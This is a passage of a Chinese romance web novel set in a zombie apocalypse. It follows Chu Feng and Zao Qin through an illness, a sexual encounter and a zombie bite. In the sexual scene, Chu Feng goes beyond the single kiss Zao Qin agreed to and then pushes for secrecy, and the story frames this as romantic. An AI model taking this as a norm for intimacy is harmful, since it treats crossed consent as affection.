褚风手臂伸到前面,手握在方向盘上,枣芩被困在中间,被迫承接他的温度与呼吸,一动不敢动,“我让你怎么做你怎么做,记住了吗?” 枣芩无措眨眨眼,小声说:“……记住了。” 枣芩不知道自己学开车的速度算快还是慢。他白天学开车,晚上和褚风聊天睡觉。 这样的日子过了几天,枣芩一直记得说是八天的路程,梦见了宋呈,睡觉醒来忍不住问出口:“褚风,还有多远啊?” 褚风也刚醒,睁开的眼底堆积出几分暗色,平静问:“想见他吗?” 想。 但枣芩觉得自己不能说出来,但又不能否认,干脆闭着嘴巴什么也没说。 他的想法显然被褚风看出来了。 一种酸楚在心脏鼓动着,褚风从蜜海中沉浮,窒息。他听到自己说:“那你想不想让我去了不打扰你?” 枣芩抱着自己的膝盖,雪白下巴放在上面,咬了下嘴唇。 褚风打扰还是不打扰,枣芩去了那里找到宋呈完成任务,都要离开了。 停顿的时间,褚风已经开口了:“我们做七天的爱人,去了我不打扰你们的生活,这七天就当没发生过,他什么都不会知道。” 他们明明已经走了好几天,还要再走七天吗? 枣芩虚虚抱着小腿的手腕被一拽,他不可控制向前倾了下点,褚风另一只手握住枣芩另一边胳膊,直接把他拽到了怀里。 枣芩被他突如其来的动作,喉咙中小声‘啊’了下。 “张开嘴。”褚风声音闷涩,又暗藏着悸动。 枣芩立刻抿住唇,想爬起来。 后脖颈细嫩皮肤被大手捏住,往前压,褚风的吻率先落在了他脖颈到锁骨处。 枣芩脖子细而白,又是皮肤薄的敏感地带,他仰着头躲避,反倒方便了褚风,他微凉地唇贴上去,舌尖湿热刮过,那块皮肤随即泛起淡淡的粉,枣芩细弱的抖,细白的手还撑在他胸口。 外面早就天光大亮,看得很清楚。 褚风一路吻到枣芩抿住的唇,强硬把人抱到腿上,单手揉按着枣芩的腰后,很快枣芩就被他弄得软了身体。 皮肤泛红,像难受像抗拒地细哼。 他因为这点声音,浑身躁动难耐。 这是他这几日晚上发现的,脚,脖颈,腰,小腹,都是枣芩敏感的位置。更隐秘的部位他没敢碰。 唇舌被撬开,枣芩被动张开唇,香甜气息涌出,褚风心跳振奋,闭上眼,沉迷地狠狠舔吸,勾咬枣芩那点唇肉。 “嗯、、”枣芩捏住他粗壮的胳膊。 他好久没被这么亲了,手臂有些无力,掐人都掐不动,也怪褚风胳膊太硬了,跟个臭石头似的。枣芩睫毛不停打颤,只能被动忍受着湿而火热的东西扫荡侵略。 枣芩耸着肩膀,尽量往后躲,却被不依不饶跟上来,按着背压回去。 他不能像面对涂晋那样,直接一巴掌给他扇在脸上,叫他滚。 褚风是帮了他的,他不能这么对褚风,可褚风好用力,跟没吃过肉的狗似的,把枣芩亲得有点疼了。 枣芩哼哼两声,舌尖往外顶他,却好像被当成了配合,褚风呼吸声陡然粗重激动,亲得更疯狂了。 结束后,枣芩嘴唇涨红没反应过来似的,他被褚风裹在被子里,小口吸着手中的酸奶。 他的舌头被弄得,刚才轻轻碰了下吸管就仿佛被扎到一样疼。 枣芩湿着眼尾瞪了褚风一眼,褚风一下神志不清似的有点痴愣。 他坐在枣芩脚底的位置,把枣芩的脚放在腹部暖着,盯着枣芩春情未退的脸。 枣芩不知道什么原因,脚总是很凉。 要他穿袜子,还固执地不穿,说只有要穿鞋的时候才需要穿袜子。 枣芩喝了酸奶,又喝了半瓶水。 他身上被抱着又亲又舔后,湿湿黏黏出了层薄汗,枣芩觉得已经不是换件衣服可以解决的。 出来的这四五天,枣芩有刷牙,也有自己躲在后面擦身体。 怎么也不至于像他说的,“我想洗澡,我被弄得脏死了。” 褚风看着他被自己亲得水红的嘴唇,和他手指嫌弃扯开一点的衣领,瞳孔微颤,诚实说:“你身上很干净,很香。” 枣芩不信,他苦着脸,把脸埋进被子里,声音闷闷:“我就想洗澡……” 褚风感觉亲嘴后,枣芩好像对他更亲近一点了。前几天,枣芩是不会这样和他提要求的——带着点撒娇的可爱语气。 褚风看了眼周围的位置,思索片刻,俯身过去哄道:“芩芩,再忍几个小时?” 枣芩抬着眼睛,小声:“好。” 工作性质的一部分原因,褚风对这个城市包括附近的几个城市都很了解,知道具体路况。 城市楼房大多数在两天之内就彻底断水了。 他们现在的位置前面再远点有个村庄,其实也不算村庄,是一片有待拆迁的地区,那里多是自建房,很多人用太阳能热水器,水箱里也一般也会自动储存水源。 起码能让枣芩洗个热水澡。这么冷的天,洗冷水澡的话,枣芩一定会生病。 枣芩现在也不为了礼貌,到副驾驶位陪他了。就待在后面披着被子,手臂抱着驾驶位靠枕,露着头跟个从猫窝探出头的小猫似的,盯着前面的路。 褚风单手开着车,不时瞥一眼车内后视镜,嘴角没掉下来过。 枣芩又开始喝酸奶了,这酸奶两排一套,都小小的,几口就喝完了。 他咬着吸管,忽然谴责起褚风,“你刚刚弄我舌头现在都疼。” 真的要命,枣芩一句话都能让褚风浑身被电窜过般麻痒,他喉结压了压。 “嗯?”他回头,“我看看破没破。” 枣芩摇摇头,脑袋缩回去了,“那倒没有。” 一秒后,又露出来,拍了下褚风的肩膀,警告他,“你不许再这么亲我了。” “知道了——”褚风声音拖的长,“快到了,去拿枪,再带上要穿的衣服。” 枣芩眼底亮起,立马转身去收拾东西,看得出他很迫不及待。 天确实冷起来了,而且今年格外的冷,大概是因为人气少了许多。 褚风自己先下去探路,让枣芩乖乖在车上等他,摸了几家,处理了五六个丧尸,才确定这片没丧尸了。 村民习惯性会储存些东西,大部分都已经被人翻过了,只有有丧尸的几家倒是幸免。 好在他们不缺食物。 褚风呼出一口白气,来到车前开了车门,枣芩要跳下来,他忽然伸手,“抱你过去,路上有丧尸的尸体。” 枣芩犹豫一下,慢吞吞抱上他的脖子,被褚风抱小孩似的抱进了其中一间。 里面窗明几净,干净得像是末世之前的世界。 太阳能热水器不用电,只除了自动上水的仪表,不过一般为了防止没电,都有手动上水阀门。 褚风找到打开,这几天虽然天冷,但都是太阳天,热水器幸运地可以正常使用。 枣芩说怕冷,让褚风先开会热水,让浴室的空气热起来。褚风干脆趁这个时间先快速洗了遍。 以免枣芩不说,但心里觉得他脏。 他头发短,洗完一擦都快干了。 枣芩进去雾气蒸腾的浴室,果然热烘烘的,他舒舒服服洗了个热水澡,用干燥的新毛巾擦了身体。一出浴室,褚风就带着被子来迎接他了。 直接连人带被子圈着他的腰提到了床上,这个姿势太奇怪,戳中了枣芩的笑点,眉眼弯弯地盯着褚风看。 褚风问他要不要在这里住一晚上再走。 枣芩点了头,车里再舒服肯定也不如床上。 “我从柜子里找新床单被套换上了,等会去把车开进来。”褚风这么说。 枣芩头发已经擦过了,但电力系统早已崩塌,也吹不了头发,只能让它自然风干。 车辆很快停进院子里,褚风从里面锁了门,又拿了食物进屋。 天色渐晚,夜幕降临。 褚风用抽屉翻到蜡烛点燃,橙红色的火光隐隐绰绰,倒影在枣芩表情新奇的脸上。 褚风拿着打火机说他会烧火,于是两人吃了屋子里的米饭,肯定不如电饭煲蒸的,褚风也没什么经验,枣芩更是没有。 两个人折腾半天,像喝粥,最后还是吃了车上拿下来的食物。 · 枣芩缩在被子里,蜷缩起身体,小口小口地喘气。他感觉肚子有点不舒服,但可以忍受,怀疑是因为吃了褚风的米饭导致的。 他困倦不已,头晕脑胀的,待褚风进到被子里,就自觉缩在褚风炙热怀里,褚风受宠若惊轻轻搂着他。 褚风是被枣芩带着哭腔、难耐的哼唧声弄醒的,他下意识把人往怀里搂,沙哑声音问:“怎么了?” 枣芩不说话。 褚风发觉不对劲,整个人跟被泼了盆冷水似的,立刻清醒起身。 桌上的蜡烛还没灭,摇摇晃晃的昏黄烛光下,枣芩嘴唇的颜色淡了好几分,本该雪白的皮肤上却泛起红,紧闭着的眼睫渗着点微弱水光,还没醒来。 “小芩。”他大手摸了摸枣芩的脸,手心立即感受到滚烫热度。 完了…… 他没照顾好枣芩,发烧了。 褚风快速起身,去车里翻找药箱,这一刻他竟有点感激涂晋的准备,把整个药箱提进去,在并不明亮的火光下,寻找发烧药。 他抱起枣芩的腰背,让他靠在自己胸膛,就着矿泉水让他缓缓把胶囊咽下去。 没合紧的唇边溢出些没咽下去的水迹,他用拇指拂去。 褚风也不知道该怎么照顾一个发烧的人,他自己几乎没发烧过,仅有的几次也很轻松退烧了。 但他也有些常识,用凉水浸了毛巾,拧干一些,擦了额头脸颊。犹豫没两秒,又帮枣芩擦起身体降温。 没胆大包天到敢脱衣服,只把湿凉的毛巾递进去,来回擦了几遍。 堪堪一小时,本已经萎靡的蜡烛就烧尽了,他又点了一根,枣芩的烧才退了。 枣芩迷迷糊糊睁开湿漉漉的睫毛,不知道是被毛巾弄湿的还是自己难受的泪水,看着褚风忙活的身影,弱声弱气地叫他,“褚风……” 褚风背上都出了层汗,原本不作表情看起来很冷淡生硬的脸,听到枣芩的声音拧起眉,小心凑过去摸枣芩的额头,已经好很多了,他应声,“嗯。” 枣芩侧躺着,为了蒙汗被子盖住他小半张脸,枣芩无力地皱了下脸,委屈掉下一滴眼泪,“肚子疼。” “肚子疼?”褚风又赶忙起身去翻药箱,找到药给他喂下去。 药没法立刻起作用,枣芩还是说疼。 褚风钻进被子里,被中有些湿意,是毛巾擦身体留下的。 他把枣芩抱怀里,枣芩身上烧得软趴趴的,跟没了骨头似的软。 褚风掀开枣芩的上衣,胸口发慌跟被虫子啃咬没两样,他把手搓得干燥发热,在柔软平坦的小腹上按揉,“这里疼?” 枣芩好像有点急得生气了,眼睛半睁着,手搭在他手上,眼泪从眼尾往下滑。 褚风心里不是滋味,掀起密密麻麻的酸涩,仿佛发烧的人是他。他才把枣芩带出来几天,就给人弄得又肚子疼,又发烧。 “那这里?”他往上挪了些。 枣芩吸吸鼻子,“嗯……疼。” 分明连胃疼和肚子疼都分不清。褚风好笑又心疼,轻拢慢揉,让手心灼热温度熨烫枣芩的胃部。 褚风没敢用太大力气,枣芩额前发丝被毛巾弄湿了许多,水光潋滟的眼睛半睁开,再次把自己的手按在褚风手上,靠在他怀里,随着他每一个按揉的动作小声呼吸。 全然依赖的模样让褚风心底生出些满足感,他不间断揉了好一会。 枣芩好些了,说话也有了力气,“胸口,心脏,都难受……” 褚风眉头不由得皱起,他怕是胃炎引起的心脏疼,开始回忆今天都干了什么。 “之前犯过胃炎吗?” “不知道。” 一副又要睡过去的可怜样子。 他没感受到褚风因忧虑而沉下去的气息,更不知道自己是什么状况,刚才褚风给他揉肚子就揉得他没那么疼了。 他手上没力气,只能尽力说话,“揉…” 褚风手按在他肚子上,“还疼?” 枣芩小幅度摇头,头都晕了起来,“胸口疼,揉。” …… 褚风喉结往下压,手轻轻往上滑。 枣芩烧糊涂了,怎么可能揉得到心脏。 偏偏他又难受得厉害,说心脏疼,说着说着掉起眼泪。 褚风手糙,不敢真的摸到那里去,只在边缘捏揉一下,被子下面,枣芩整个上衣都快掀上去了。 他这次的揉揉,不如在肚子上的,枣芩被摸来摸去依旧感觉胸闷心脏疼,不让他揉,掉着眼泪又昏睡过去。 这个混乱的夜里,褚风没怎么睡,和枣芩盖着被子,给他闷汗,自己也满身汗。 太阳日上三竿,枣芩才喉咙干燥地睁开眼,浑身还是没什么力气,意识倒是清醒了。 一只手臂箍着他的腰,枣芩伸手轻轻推了下,褚风就立刻醒了。 但醒得不太彻底,还在问:“……胸口疼?” 第89章 第 89 章 张张嘴…… 那只可以盖住枣芩大半腹部的手, 沿着腰线往上摸去,茧子划过柔嫩皮肉,枣芩身上一痒, 慌忙用手肘夹住他的手。 褚风一抽就抽出去了, 男人半起身, 眼底浓黑睡意还没散, 眉头不自主拧着,大手摸着枣芩的脸试温度, “难不难受了?” 枣芩眼睛睁圆, 愣愣盯着他看。 身体残存的不适感证明着那些模糊的记忆是真的,他昨晚生病了, 睡前就肚子疼,有点头昏脑涨的。他以为忍忍就好了,没想到夜里愈演愈烈,连叫醒褚风的力气都没有。 他不知道褚风怎么醒的, 只记得一个身影晃来晃去,跟他说话, 在一片潮热中,给他喂水,照顾着他。 枣芩现在已经好受多了,多亏了褚风。他用脸挨着褚风的手蹭了蹭, 声音依旧没太多力气, 软着说:“好些了,已经不那么难受了。” 枣芩什么时候用着这样的语气说话。 褚风瞳孔微缩,粗糙的手仿佛忽然变得敏锐起来,柔软的触感让他指节僵硬。 枣芩闭了闭眼,睫毛眨动, 蹭他的动作跟一只小猫没两样,一只顶漂亮的傲娇小猫。 蹭一下已经是很大的恩惠了。 所以在他依旧没收回手的状况下,枣芩眼中有些困惑。 他佯装无事收回手,摩挲着自己的手指。已经不知道自己是第几次这么问了,“饿了吗?” 感觉自己像个保姆。 枣芩点点头,他昨晚吃的东西并不多,更没吃好。可昨晚被闷出一身汗,此时身上不太舒服,“不过我想先洗澡。” 褚风沉默两秒,才说:“先吃点东西吧,空腹洗澡又要不舒服了。” 枣芩一想也是这样,认同他。 褚风利索起身下床说要给他煮小米粥喝,枣芩看着昨天还剩在桌子上的大米,对他的厨艺没什么信心。 但想在小米粥没什么技术含量,枣芩干巴巴说:“……好吧,我看着你做。” 同样厨艺鬼才的枣芩觉得还是自己盯着比较放心。 他应该会比褚风强一点点吧。 枣芩起身下床,刚站起来,眼前瞬间一黑,身体不受控制地晃了晃。 他努力稳住身体,手腕被握住才没往后摔去。反应过来,枣芩已经坐在了褚风腿上,额头覆上一只手。 枣芩晃了下脑袋,头晕目眩的难受。 他还是高估了自己的恢复能力,被塞回柔软的被子里。褚风叫他好好躺着。 枣芩还什么都没来得及说,想辩解一下自己是起的太急了,才会这样。可张张嘴,对上褚风的晦暗眸色,没说出口。 褚风垂头吻在了他脸颊上,“乖点,不要吓我了,我心跳个不停。” 他的小米粥做的比大米要好很多,枣芩只是生了个病,还马上就好全了,可褚风好像在对待一个脆弱的瓷娃娃似的。 枣芩被迫靠在褚风胸口,他说不要,褚风就平静说他一点不关心自己的身体,又要难受了。 枣芩白又小的脸上,分明已经退烧了,连带着耳朵尖尖,还是烧的通红。 瓷勺抵在粉色抿着的唇瓣上,枣芩感觉自己头更晕了,别开脸,固执说:“我要自己喝。” “不想快点洗澡吗,吃完小米粥再吃药就可以去洗澡了。”褚风哄着,“嗯?芩芩,我们这种关系,我照顾你是应该的。” 枣芩不情不愿地张开唇,一直把一碗小米粥喂完,枣芩胃部终于暖烘烘,像住进了一个小太阳,从阴转晴。 · 褚风真是疯了。 雾气蒸腾的浴室里,枣芩歪着脑袋,免得让热水淋湿自己的头发,他不想再发烧一次了。 香喷喷的沐浴露涂在身上,变成了小小的泡沫。水顺着脖颈,微微凹陷的腰窝,精致伶仃的脚踝,把泡沫冲散。 褚风居然想帮他洗澡,这也太奇怪了。和别人一起洗澡,枣芩想都不敢想。 枣芩擦干身体,裹紧浴巾,扒着门看了眼,褚风不在外面,快速钻进被子才发现褚风换了床单被套。 半梦半醒间,被子被熟悉的掀开一角,携带着洗过澡的湿意,一具精健的身体贴近。 褚风嗓音低哑,问枣芩,“胸口还难受吗?” 枣芩迷蒙睁开眼,感受了下,“还好吧……已经不难受了。” “肚子呢?” 枣芩摸摸肚子,嘟囔:“只有一点点难受了。” 褚风说:“我、”停顿了会,欲言又止,好像有什么话要说又没说。 枣芩缓缓转过身面对他。 “?” “我好像有点难受。”褚风表情闷涩道。 枣芩一愣,眼底盛出关切意味,试探问:“你也发烧了?” 枣芩学着褚风,从被子里伸出白胳膊,去摸他头。 总不是自己传染给他的吧? 手触摸到他的额头,确实温度偏热,枣芩分不清这属不属于发烧的温度,犹豫一下,“……你有怎么样的感觉,是不是晕晕的?没有力气。” 褚风也去摸自己的额头,手摸到枣芩手背上,握住他微凉的手,“你会帮我吗?” 枣芩不开心地抿了下唇:“?当然会。” 他又不是那种别人照顾自己,到别人时,自己却不义气的那种人。 手被褚风握着揉了揉。 “张张嘴……好吗?”褚风往日无情的下三白眼此时显得像醉了酒,更像犯了什么瘾症,用痴缠的目光舔舐过枣芩的脸。 让人怀疑他是用酒去洗澡了。 枣芩没有笨到不明白他的意思,褚风想亲他,不是发烧了。 他也不知道自己是怎么想的,或许是脑海中忽然出现了褚风用湿毛巾帮他降温,在床前试他额头的温度,在浴室门前用被子等着他出来,还有因为枣芩差点晕倒、说被吓到心跳很快的场面。 这个人是很关心自己,很用心照顾自己的。 ——枣芩不讨厌他。 枣芩怯怯张开一点嘴唇,里面舌尖的颜色露出来,做着这样的动作,他看起来却无辜又青涩,不带一点要故意勾人的意思。 褚风两眼发直,被这场面刺激得过分,怕自己下一秒鼻血就下来了。 他想都不敢这么想,此时就真实出现在他眼前。 他立即伸手稳着枣芩的脸,张嘴着急忙慌甚至有些狼狈的含上去,吮舔他的唇瓣。 这是枣芩第一次主动对他张开嘴唇,让他进去。 褚风闭眼着迷勾缠着,又急又重吮那点小小的舌尖,吞咽枣芩嘴里的甜水。 枣芩被他紧迫的动作弄得身体紧绷,忍了忍,实在受不住了才用葱白手指去拍他的脸。 一下又一下,拍了几下,他也不生气,是一条不会生主人气的狗似的,他轻轻松开,舔了下枣芩的唇瓣问:“怎么了?” 两人气息依旧交缠在一起,枣芩呼出来的热气洇着甜味。 枣芩收回舌尖,有点酸酸麻麻,“…你亲得好难受。” 他本就生病刚好,刚刚才亲了一会,眼底就洇开一层水光雾气,迷迷蒙蒙的警告他,“你太重了,不舒服,我不要了。” 褚风太兴奋了,他控制着喉结收紧下压,强压着躁动,让自己看上去理智一些,“那我轻轻的,会让你舒服的,不舒服你就用力打我脸,我就停下来,好不?” “嗯。”枣芩慢吞吞同意,他才再次吻上去。 褚风也没办法,除了上次亲枣芩,他就没亲过嘴,都是根据本能来做的。 亲嘴怎么样才能让枣芩舒服?褚风明明怎么样都很舒服,只要是和枣芩亲嘴,就没有不舒服的时刻。 枣芩怎么会不舒服呢? 他用十二分的注意力觉察着枣芩的反应,他好像不是很喜欢被弄舌尖,也可能是褚风不会弄。蹂躏枣芩嘴唇的时候他喉咙中才会溢出一点小小的声音,轻轻刮一下上颚更是,身体都开始抖了。 褚风边学习边实践,还不忘擦去他唇边洇开的水迹。 另一只手去按揉枣芩腰后,没一会,枣芩像是被雨淋过的花骨朵,浑身无力,嘴唇湿红微肿,朝上躺着,神色迷离又涣散。 他亲了亲枣芩的脸颊。 褚风想,没人看到这样的枣芩不会头皮发麻,想要继续做点什么。 所以哪怕枣芩已经被弄成这个样子了,他的心思也不休止,拿着从柜子里翻出来的润滑液,倒在两根手指上。 他凑过去问:“宝贝老婆,行不行?” 枣芩眨眨眼,朝他看,几乎用气音,“哼?” “我一定轻轻的。”他说话声音压得很低。 枣芩:“亲亲?” 枣芩晕头晕脑的想,为什么还要亲,都已经亲够久了,该睡觉了。 “一下。”枣芩还是太宽容了。 他没料到褚风会那么激动,浑身散发出一种野兽般的躁动,似乎在颤抖着,来到枣芩前面。枣芩迷茫地看他,只当他要压在自己身上亲一下,觉得忽然哪怕不对劲、很奇怪。 下一秒,枣芩细白的小腿被握着抬起来,搭在宽阔平直的肩膀上。 冰块在春天的存在是突兀的。 这对于春天来说,也是惊恐的。会让他身体紧绷,被吓得抖着嗓子都叫不出来。 慌乱之下,想起身,想抗拒,正要去踩褚风脸。 只突然。 枣芩忽然就没了声音,两个膝关节紧紧碰在一起。褚风的头被迫往下。 冰块找寻着那个他认知中,在春天里,唯一可以幸存的角落。 “老婆,真的很 。”他不要脸的说。 枣芩结过婚,和宋呈那亲密劲在他眼前上演过许多次,他没想过枣芩面对这种事情还会这么害怕,害怕到掉眼泪、哭起来。 褚风现在感觉自己像个一点就着的炸药包,这辈子没这么酸爽过,但还是停下哄起枣芩,擦拭起他不停流的泪水。 “怕不舒服吗?” 枣芩感受到离开,喉中溢出一声哼,动作生涩地躲开,不忘在他胸口泄愤般踩了下。转头缩在角落中,背对着不再理他了。 “芩芩,不舒服了?”他死皮赖脸贴过去。枣芩身上散发着沐浴露的浓郁香味,与他本身香味混杂在一起,褚风轻轻翕动。 枣芩没回答。 “不是不舒服,那是怎么了?” 明明反应不是这样。 枣芩半天才缓过来,咬着唇瓣,“我没说可以这个。” …… “你说可以一下。” “不是,我、我说的明明是……只可以亲一下。”枣芩急起来,要知道是这个,他怎么可能同意啊。 “怕被他知道吗,我们不会让他知道的。”褚风语气循循善诱,从背后抱住枣芩,“他什么都不会知道,你不用负责任。” 不用对他负责任,是他自己贴上来的。 枣芩只闷闷说了句:“不舒服。” “他就很舒服吗?” …… “你觉得我不如他做得好,你都没试过我。” 枣芩的沉默仿佛是一种认同,褚风心里不是滋味,他舌尖抵着尖牙,跟被灌了醋似的。 他起身用纸巾擦起湿漉、手指。 枣芩心里,他不如宋呈。等去了基地,枣芩大概会马上把路上的一切都当做黑历史掩埋,连带着他褚风。 然后幸幸福福和宋呈过他们的已婚小日子。 人为什么要当小三呢? ——“我没有这么说过。”枣芩说话声音小。 像收到什么召唤,褚风丢开纸巾,转身从后面搂着枣芩的腰,亲了下他后脖颈。 当小三挺好的,比保镖强。 枣芩脖颈泛红,拍了他的手示意松开。 枣芩红着脸扯着被子盖住自己,抱膝坐起,有些自暴自弃地瞪他,“没说你做的没他好。” 他反复用牙齿欺负自己的唇瓣,真搞不懂自己在回答什么怪问题,头都抬不起来了。 含糊又小声道:“我就、没和他做过那种事情啊,我怎么知道谁比较好。” …… 褚风瞳孔骤然缩紧,被枣芩轻飘飘的话里所包含的信息,弄得一时没做出反应,怔住。 他喉结往下压,语气平静:“芩芩好会保护自己,做得很对。” 都已经领证了。 据他了解他们是一个学校的,在一起的时间不用说都知道有很多。 有这样的一个老婆,他们却什么没没有做过。 宋呈原来是养胃…… 褚风知道了。 怪不得一副虚弱要死样,他配不上枣芩。 褚风兀自扯开嘴角笑了声,忽然又反应过来一件事。如果他和宋呈都没做过,年纪又小才是学生。 那枣芩说不定,就从来没有过。 这个认知让他整个人茅塞顿开,枣芩为什么会害怕抗拒,不是因为不想和他一起,而且没有过。 他居然没在意过枣芩亲吻时,那青涩的反应,连舌头都不会伸。 或许亲嘴都没亲过几回吧。 【又在脑补什么?】 【不要对我老婆这样那样,不要黑屏啊,我愿意承受这份痛苦(真的)】 【芩芩就是很纯情的宝宝、有些人亲不着呢,是的,就是我】 【跟狗一样……】 【怎么又亲了两口?别亲了!】 枣芩养好身体,水箱中的水也被用光,他们才再次上路。枣芩抱着两个枕头,率先往外走,褚风快速将两小瓶未拆封的润滑液塞外套口袋里,心脏砰砰直跳。 其实润滑液还可以用来按摩刮痧,有一天说不定帮枣芩按摩,他是这个意思。 “你在干嘛呢?” 枣芩抱着两个枕头,雪白皮肤浸在下午阳光中,跟块小雪糕似的,眉心轻皱一下,因为他走得太慢,不悦地回头瞪他。 褚风心里痒痒,两步上前去,接过枣芩怀里的枕头。 现在道歉很熟练,“对不起,我昨天真的听错了,罚我一天不许亲你好不?” 枣芩脚步顿了顿,看了他两秒,觉得哪里不对劲,“……两天。” 车倒出大门,没出两公里,枣芩正爬在枕头上,看褚风去其他房子里搜罗来的书。 一阵响声在不远处响起,枣芩抬了抬脸,见褚风忽然停了车,车内后视镜中的脸色不太对。 枣芩还没问怎么了,褚风开口说:“枪声,有人。” 第90章 第 90 章 芩芩小医生~ 枪声的方向在他们的必经之路上, 褚风面色如常,把枪备在身侧,转头和枣芩说让他继续看书。 枣芩哪里还有心思继续看书, 就像他说的, 有枪声就代表前面有人。或许在杀丧尸, 也或许发生了冲突。 倒不是想与别人同行, 而是产生了一点希冀。 末世到来这么久了,还在外面独行的人很少。 所以有可能是其他基地外出队的。 ——有没有可能是首城外出队的? 枣芩毕竟不是副本本土npc, 不知道两地到底距离多远, 只能通过褚风口中那变幻莫测的时间。如果按照褚风开始说的时间,这种猜测很有可能是对的。 他出于一种直觉, 没把自己的期待表现出来。 黑红色越野车戛然停在路边。 枣芩趴在后窗上往另一辆车里看,两辆车位置错开一些,这个位置看得不清楚,但枣芩还是被这场景惊得错愕握紧手指。 另一辆车两边驾驶舱车门大敞, 应该是一男一女两具尸体,分别坐在驾驶位和副驾驶位。 褚风不让他下去, 枣芩就挪到副驾驶位上。 这个位置靠前,基本可以看到另一辆车里面,他探头盯着褚风的一举一动。 褚风高大身形将车里搜罗了一圈,在两具尸体上看到两部手枪, 没找到他们备用的子弹, 猜测是两人互相开枪。 除此之外,没得到什么有用的信息,这辆车油箱也见了底,对他们半点用都没有。 褚风视线定在男尸身上,眼皮稍微抬了抬。 ——身上的大衣倒是不错。 深灰色的大衣看着就不像普通牌子, 做工精良,版型很好,也没沾染太多血迹。 要是他穿上,敞开衣服,都能让枣芩坐靠在他怀里。刚好把两个人包起来,窝在一起。 这种温馨可遇不可求。 褚风立马上手,没有对尸体应有的敬而远之和忌讳,反倒还顺带要榨干他最后一分价值。 钝而烈的疼痛从手臂传来时,他作为一个比较忍痛的人,脖颈还是控制不住绷起青筋。出于身体本能反应,褚风一拳头砸在了男尸太阳穴,男尸被大力击打倒在驾驶位上。 褚风胸腔震颤,下意识往后摸枪,才想起自己把枪落在了车里。 “艹…”他按上车门,拧着眉暗骂了一句。看到自己沿着青筋鼓起的手背、滴落到地面的鲜红血迹,感受到莫大的恐慌。 他死了枣芩怎么办,这是他的第一个念头。 丧尸没有痛觉,这男尸的枪伤在颧骨往下的位置,不是致死伤,没被之前的子弹彻底打死。 一拳也同样打不死他。 只听到一声枪响。 褚风抬头看去,那丧尸在他没注意时从另一边下车,想绕过来咬他。此时脑门中枪,双目无神,直直跌倒在地。 他下一秒朝向枪响的方位。 越野车副驾驶车门开着。 枣芩面白如雪,没穿外衣,单薄衣角被风吹得摇摇晃晃。他维持着两手举枪的动作,手臂打着颤,丢下枪就朝着褚风奔来。 “褚风……你被咬了?”枣芩表情无措,企图从褚风这里找到答案,哪怕他已经看到了他手背上蜿蜒的血迹。 丧尸的模样枣芩是见过的。他们还没去到基地的时候遇到的丧尸群,还有去到基地后,因为检查不当的一次意外,死了不少人。 完全变成了没有理智的怪物,失去人性,不认识自己的亲人朋友,只想着啃食感染更多的人类。 他没法想象,褚风也变成这种丧尸。 “怎么办?”风吹得枣芩嘴唇苍白,失去血色,吐出的声音都细弱。 褚风低了下眼:“怎么没穿鞋。” 枣芩赤着脚踩在并不干净的地面上,他示意枣芩,“先回车上去,外面太冷了。” 周身并不安静,冬日冷风飕飕,还有不知名的虫子叫声。 枣芩吸了下鼻子,转身回到车上,分明没有暖气之类的东西,车上就是暖和很多。 他拿出湿巾,开始擦脚,不知怎么着,视线开始模糊,眼泪忽然就开始往下落。 枣芩抿住嘴巴。 怎么办啊? 一切发生的太突然了,让他措手不及,就要面临褚风将要变异的局面,明明今天早上还是好好的。前两天他生病了褚风还在照顾他。 为什么要下去查看,应该直接开过去才对。 枣芩抱腿缩坐着。 ‘砰’车门被关上。 褚风回来的时候拿件灰色大衣,搭在了驾驶座靠椅上。他气息粗重,从车后拿了药箱,脱下了自己身上的夹克外套。 手臂的伤口露出来,因为血肉模糊,看不清伤口的具体形状,但好在看得出来并不大,在平日里是褚风不怎么在意的大小。 但他们都知道,被丧尸伤到,指甲盖大小说不定都能致死。 枣芩睫毛抖着,眼睑泛红,比起刚才面色已经好转些许。 体感接近0度的天气,褚风额头上居然涔涔出汗,他安慰枣芩说了句没事,右手握着一把锋利的匕首用酒精消了毒,对着自己的伤口,似要刺下去。 察觉到枣芩的视线,他轻泄出口气,把在外面捡起来的枪递给枣芩,哄了句:“后面看书去,不会有事的。” “不…”枣芩唇抿成脆弱的弧度,摇了头。 这种画面太残忍了,褚风的生死都没有定数,肯定要更有压力,还要顶着这种心理疼痛给自己的肉、体带来疼痛。 割一块肉,枣芩无法想象有多疼,并且还有可能是无用功。他做不到自己躲到后面去看书。 胃部像吞了一块冷毛巾般难受。 枣芩尽量稳住自己的心跳,调整呼吸,伸出瘦白的手。哪怕极力想稳住,声音还是有点抖,语气却很坚决,“我来吧。” 褚风沉默看了他两秒,眼底涌现着复杂浓重,他眼中生出几根红血丝,难以控制,心中如温水般怪异温热的感受。 “你。你告诉我,怎么做?我,”枣芩有些磕磕巴巴,从褚风手中拿过了匕首。 那似乎不是一双适合握着匕首的手。 干净,白皙,连本该上过学握笔的茧子都没有。 可褚风想不到谁的手握着它,能比枣芩此刻更合适,更美。 “要挽下来。”他盯着枣芩的脸,还有心思跟他开玩笑,“当我是一头猪就好了。” 枣芩:“……可是,猪我也不敢啊。” 褚风没忍住笑了声,“我自己来。” 枣芩嘴上说不敢,可褚风立马感受到了刀尖刺入血肉的疼痛,哪怕他开始前已经咽了颗布洛芬。 他看着枣芩漂亮的眉心皱起,牙齿咬着下唇,皮肤上出了层薄薄的汗,不断地吞咽口水。 脸上并没有害怕的神情。 疼痛让褚风脑中阵阵晕眩,眼前发白。他牙关紧咬,怀疑牙龈会渗出血来。 血腥味充斥在车内,褚风面如白纸,冷汗直流。伤口上了止血粉,包了不知多少层的纱布。 “芩芩……”他有些涣散的视线落在枣芩身上,“芩芩。” 枣芩:“……” 褚风神志好像不太清楚,一直在叫他的名字,他已经懒得回应了。 【系统,谢谢你。】枣芩浑身失去力气,跟抽了骨头一样,【会没事吗?】 枣芩的模样,让系统半天说不出话来,【嗯,别担心,空间有伤药,而且他一只手也可以开车。】 系统这么一说,才提醒了枣芩,枣芩猛然坐起身,【我有止疼愈合道具。】 “对不起啊对不起。” 他忙取出来,塞进意识模糊的褚风嘴里,给他嘴里灌水。大部分水都漏了出来,枣芩捏着他的嘴唇,抬起他的头,褚风才咽下去。 枣芩感觉自己像个医生做了一场大手术,又失去了所有的力气。 他已经做好了面对鲜血淋漓的血腥场面,而咬紧了牙。 系统却忽然开了口,告诉他,副本一切都是假的,经过枣芩的同意,系统把一般都用在敌人身上的障眼法道具,用到了枣芩身上。 枣芩清醒的知道自己陷入了幻境,可幻境中的一切都真实到无可指摘,能让人怀疑眼前的一切是不是才是真的。 绝对是非常难得的高级道具,不知道宋呈是哪里得到的,自己都没用,却被系统建议用在了这种地方。 